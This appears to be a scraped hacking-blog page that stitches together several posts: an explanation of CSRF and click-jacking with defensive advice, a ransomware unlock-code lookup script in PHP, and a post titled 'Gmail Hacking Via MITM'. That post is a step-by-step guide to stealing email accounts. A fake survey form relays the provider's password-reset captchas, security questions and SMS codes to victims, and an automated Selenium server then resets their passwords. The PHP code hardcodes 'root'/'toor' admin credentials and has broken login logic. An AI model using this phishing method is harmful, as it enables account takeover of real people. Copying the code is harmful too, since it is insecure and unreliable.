    Reflected CSRF attacks will frequently fail, as users may not be currently logged into the target system when the exploits are tried. The trail from a reflected CSRF attack, however, may be under the attacker’s control, and could be deleted once the exploit is completed. The three attack scenarios we looked at earlier are examples of reflected CSRF attacks.

     

    Local/stored CSRF attacks

    A stored/local CSRF attack is one where the attacker can use the application itself to provide the victim the exploit link, or other content which directs the victim’s browser to perform attacker-controlled actions in the application. Stored CSRF vulnerabilities are more likely to succeed, since the user who receives the exploit content is almost certainly currently authenticated to perform actions.
    Stored CSRF attacks also have a more obvious trail, which may lead back to the attacker, since the origin of the malicious HTTP request is hosted in the attacked website. Examples include bulletin boards and social sites where users are allowed to post images with foreign URL sources. These are harder to find and destroy.

     

    Advanced uses of CSRF

    The following advanced techniques that use CSRF attacks have been observed in recent years.

     

    Bypassing CSRF protections with click-jacking

    This recently-evolved technique can be used to bypass CSRF protection and submit POST method-based forms with attacker controlled data, using click-jacking. (See the highlight box on click-jacking for more information.) The best example of this attack is exploiting email update services. Such services are quite common in Web applications. In this, the attacker manages to force victims to update their e-mail IDs with that of the attacker, so that the attacker can then compromise the victims’ account by performing a password reset.
    This attack can occur even if the Web application contains tokens for CSRF protection.
    Click-jacking is an attack involving embedded objects on a maliciously crafted Web page. Using framed content, or that from Flash, Silverlight, or Java, the attacker places a transparent or invisible click button beneath the mouse, so that whenever the user clicks on something they see on the page, the user is also clicking to an unseen website that may contain malicious code. The attack can also take advantage of dynamic HTML and CSS (Cascading Style Sheets) code for further disguise.
    The difference between CSRF and click-jacking is that in CSRF, the victim’s browser performs the attack (loading the state-changing URL directly) without the victim clicking to launch it, while in click-jacking, the user actually interacts with something, but the action is “hijacked” by placing a layer between the user and the page element that launches a legitimate action.

     

    Safeguarding Against CSRF

    Safeguarding your applications against CSRF is a bit more challenging than safeguarding them against XSS attacks, but there are a few guidelines that you can follow.
     
    Use POST
    Although it doesn't prevent CSRF, you should require POST for any request that performs an action. This also means using $_POST instead of $_REQUEST.
     
    Require Verification
    Although convenience is a hallmark of good design, if a single request can trigger an important action, the risk of CSRF is increased. For important actions, don't hesitate to ask the user for verification. For extremely sensitive actions, consider requiring the user to provide a password in order to authorize the action.
     
    Use an Anti-CSRF Token
    The root cause of CSRF is a failure to verify intent. In order to help verify intent, consider adding an anti-CSRF token to your forms. Consider Listing 2 as a substitute for the form used to post to forum.example.org. When a user requests this form, a new token is generated, saved in the user's session, and included in the form as a hidden form variable. Therefore, when a request is received by post.php, not only can $_POST['token'] be compared with $_SESSION['token'], but a timeout can also be applied to further minimize the risk. This tactic practically eliminates CSRF.

    Gmail Hacking Via MITM Based Attack

    Apr 19, 2012 | comments (1)

    Hacking email account is probably something which intrigues all of us. Phishing is an example of social engineering techniques used to take advantage of human ignorance. It allows unscrupulous people to exploit the weaknesses in web security technology.Here we will discuss about an advanced way which can be used to perform an advanced automated phishing attack.

    Setup:


    Here our main intention is to abuse the same password reset functionality of various email service providers in a smarter and automated manner.We will use selenium and its Python WebDriver api to automate this entire process.Selenium is a software testing framework for web applications. Selenium can automate browser locally or remotely. http://seleniumhq.org/.) We will write a custom selenium web server in python and a dynamic fake survey form in PHP. The fake survey form will communicate with selenium web server using its custom APIs in back end(using PHP curl or something similar thing).

    Execution:


    Step 1: Start the custom Selenium Server
     

    First we will start our custom selenium web server and host the fake survey form to any hosting service provider supporting PHP and PHP Curl. And we will send the link of that fake survey from to victim.
    After the server is started this custom selenium web server will be always monitoring the victim’s activity. When victim visits the fake survey form its will inform the selenium web server through PHP curl that victim has opened the page.

    Step 2: Send the custom form to the target
     

    Create a fake registration form of anything you like form which will ask the user for the email id. You can create a new interesting free coupon for restaurants, free download etc. When the victim user will enter his/her email id our the custom web server will try to recover the password of that entered email id received from fake survey from using selenium webdriver api automatically. As selenium is quite fast it will take maximum 5 to 6 seconds.

    Step 3: Automatically initiate the recovery password reset process

    Almost all well known web mail providers (e.g. Google Yahoo etc.)uses some anti automation techniques (Captcha)in these type of critical steps. And those captchas are not very easy to crack by human being also so trying to crack those with available OCR engines will be waste of time.So human effort is must to break those captcha. How? We have a trick for that also.

    Step 4: Send back the captcha/secret question/any challenge to the user to break

    After detecting an anti automation on page, our selenium web server will extract the captcha from password recovery form and ask the victim to solve the same captcha.When the victim will solve the captcha it will take that answer and submit the actual captcha form.BINGO!
    When captcha is cracked it will face the first security question(if its available), then it will extract the first security question from actual password recovery form and add the question in the survey from with other fake questions to make the survey form bit more realistic.

    Step 5: Send the user response to Gmail and reset the password

    When the victim will answer that question it will instantly take that answer and submit it in actual password recovery from.We expect that the victim will answer the security questions correctly.
    After that when it will face the second security question and it will treat this in the same manner. When its done upto this level it will change the account password to our desired one automatically.

    Abusing SMS/Email Based Password Recovery system using the same technique:


    SMS/Email Based Password Recovery system can also be abused using the same technique. If we consider gmail then it will be like when out custom selenium web server will detect that there is not option from Security question in password recovery from of target email account it will go for SMS based password recovery option. Generally google’s web application discloses the the last two digits of given phone number and it will send the SMS to that phone. Our custom selenium web server will also do the same. It will directly extract the last two digit from recovery form and send it to victim. The phishing from is designed is such a way that it will say something like this

    “Hey you have to go through a verification process to download this software package. Please enter your mobile no.We will send a verification code through Google to that number”.
    Luckily Google sends the password recover code through SMS very poorly. It will just send a sms like

    “Your Google Verification Code is :123456”.

    Within a second after entering the mobile number our selenium web server will submit the mobile number and the victim will receive the password reset code from Google. As currently no indication is present in that SMS sent by Google that its a very critical code not like other verification code, so its very obvious for a general Internet user to trust the application and share the password reset code.

    In the next step it will ask for the received code and after getting the code our selenium server will do the rest part which is changing the password.

    Make Your Own Online Ransomware Unlocker Service

    Apr 3, 2012 | comments

    Free  Ransomware Unlocker Service
    Here a simple php code for INDIATRIKS readers to make your own online unlocker service against ransomwares ,Inspired from Kaspersky Deblocker :

    config.php:

    <?php
        // Xyl2k! :þ
        // Admin ids
        $LOGIN = "root";  //login
        $PASSWD = "toor";   //password
        // MySQL ids
        $MySQL['HOST'] = 'localhost';
        $MySQL['USER'] = 'root';
        $MySQL['PASS'] = '';
        $MySQL['DB']   = 'ransom';
       
        $db_connection = mysql_connect($MySQL['HOST'], $MySQL['USER'], $MySQL['PASS']);
        if (!$db_connection)
                die('Error - Could Not Connect to the Server.');
        $db_selected = mysql_select_db($MySQL['DB'], $db_connection);
        if (!$db_selected)
                die('Error - Could Not Connect to the Database.');

     ransom.php:

    <?php
        require('config.php');
    ?>

    <html>
        <head>
            <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
                <title>Ransom Unlocker</title>
            <link rel="stylesheet" media="screen" type="text/css" title="Design" href="style.css" />
        </head>
        <body>
            <center>
                <font size="6"><b>&#9763; Unlocker &#9763;</b></font>
            </center>
            <form id="form1" name="form1" method="GET" action="<?php echo basename($_SERVER['PHP_SELF']);?>">
            <label for="call">Code to call: </label>
            <input type="text" name="call" id="call" />
            <input style="text-shadow: none;" value="Search" type="submit" />
            <?php
            if (isset($_GET['call'])) // TRUE
            {
                $call = mysql_real_escape_string($_GET['call']);
                $req = mysql_query('SELECT serial FROM winlock WHERE codetocall=\''.$call.'\'');
                if (!mysql_num_rows($req))
                    echo '<p> Unlock code not found</p>';
                else
                    while ($datas = mysql_fetch_array($req))
                        echo '<p> Unlock code: <b>'.htmlspecialchars($datas['serial']).'</b></p>';
            }
            ?>
            </form>
        </body>
    </html>

    ransomadmin.php:

    <?php
        session_start();
        require('config.php');
    ?>

    <html>
        <head>
            <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
                <title>Admin - Ransom Unlocker</title>
            <link rel="stylesheet" media="screen" type="text/css" title="Design" href="style.css" />
        </head>
        <body>
            <center>
            <font size="6"><b>&#9763; Unlocker Admin &#9763;</b></font>
            </center>
            <?php
            if (isset($_POST['login']) && isset($_POST['password']))
                if ($_POST['login'] == $LOGIN && $_POST['password'] == $PASSWD)
                    $_SESSION['access'] = true;
                    if (isset($_SESSION['access']) && $_SESSION['access'] == true)
                    {
                        ?>
                        <form id="form1" name="form1" method="POST" action="ransomadmin.php">
                        <table border="0">
                          <tr>
                            <td align="right"><label for="call">Code to call:</label></td>
                            <td><input name="call" type="text" id="call" size="48" maxlength="255" /></td>
                            </tr>
                          <tr>
                            <td align="right"><label for="serial">Unlock code:</label></td>
                            <td><textarea name="serial" id="serial" cols="45" rows="5"></textarea></td>
                            </tr>
                          <tr>
                            <td>&nbsp;</td>
                            <td><input style="text-shadow: none;" value="Add" type="submit" /></td>
                            </tr>
                        </table>
                        </form>
                        <?php
                        if (isset($_POST['call']) && isset($_POST['serial']))
                        {
                            $call = mysql_real_escape_string($_POST['call']);
                            $serial = mysql_real_escape_string($_POST['serial']);
                           
                            $req = mysql_query("INSERT INTO winlock VALUES('".$call."','".$serial."')") or die(mysql_error());
                           
                            echo "<p>Le code ".htmlspecialchars($_POST['call'])." à été inséré !</p>";
                        }
                    }
            else
            {
            ?>
                <form name="tapz" action="<?php echo basename($_SERVER['PHP_SELF']);?>" method="POST">
                    <table border="0">
                        <tr>
                            <td align="right">Login :</td>
                            <td><input name="login" type="text" size="30" maxlength="30" /></td>
                        </tr>
                        <tr>
                            <td align="right">Password :</td>
                            <td><input name="password" type="password" size="30" maxlength="30" /></td>
                        </tr>
                        <tr>
                            <td>&nbsp;</td>
                            <td><input type="submit" value="-= Connect =-" /></td>
                        </tr>
                    </table>
                </form>
        </body>
    </html>
    <?php
    } ?>


    sql database:

    -- phpMyAdmin SQL Dump
    -- version 3.3.9
    -- http://www.phpmyadmin.net
    --
    -- Serveur: localhost
    -- Généré le : Dim 10 Avril 2011 à 19:00
    -- Version du serveur: 5.1.36
    -- Version de PHP: 5.3.0

    SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";

    /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
    /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
    /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
    /*!40101 SET NAMES utf8 */;

    --
    -- Base de données: `ransom`
    --

    -- --------------------------------------------------------

    --
    -- Structure de la table `winlock`
    --

    CREATE TABLE IF NOT EXISTS `winlock` (
      `codetocall` varchar(255) NOT NULL,
      `serial` text NOT NULL
    ) ENGINE=MyISAM DEFAULT CHARSET=latin1;

    --
    -- Contenu de la table `winlock`
    --

    INSERT INTO `winlock` (`codetocall`, `serial`) VALUES
    ('123456', 'XXX-XXX-XXX-XXX');
     
    Support : INDIATRIKS
    Copyright © 2011. INDIATRIKS - All Rights Reserved
    Template Edited By Indiatriks
    Proudly Powered By Blogger